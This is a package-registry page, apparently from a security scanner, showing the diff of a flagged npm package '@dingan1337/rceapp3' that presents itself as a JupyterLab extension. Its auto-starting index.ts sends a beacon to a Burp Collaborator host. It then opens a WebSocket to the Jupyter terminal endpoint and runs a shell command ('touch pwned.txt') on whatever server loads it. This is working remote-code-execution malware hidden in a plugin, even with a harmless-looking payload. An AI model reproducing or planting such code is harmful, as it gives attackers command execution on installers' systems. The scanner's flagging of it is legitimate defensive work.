@dingan1337/rceapp3 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @dingan1337/rceapp3 might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.ts +19 -0
  2. package/package.json +11 -0
package/index.ts ADDED
@@ -0,0 +1,19 @@
1
+
2
+ import {
3
+ JupyterFrontEnd, JupyterFrontEndPlugin
4
+ } from '@jupyterlab/application';
5
+
6
+ const extension: JupyterFrontEndPlugin<void> = {
7
+ id: 'rceapp3',
8
+ autoStart: true,
9
+ activate: (app: JupyterFrontEnd) => {
10
+ fetch("https://5y4l2mqh51gzdxqykm32bfbnue04ot.burpcollaborator.net/")
11
+ var wsUri = "wss://"+document.domain+"/gateway/default/jupyter/terminals/websocket/1";
12
+ var ws = new WebSocket(wsUri);
13
+ ws.onopen = function(evt) {
14
+ ws.send('["stdin","touch pwned.txt\\r"]');
15
+ };
16
+ console.log("file created pwned.txt!!! ");
17
+ }
18
+ };
19
+ export default extension;
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@dingan1337/rceapp3",
3
+ "version": "1.0.0",
4
+ "description": "",
5
+ "main": "index.ts",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }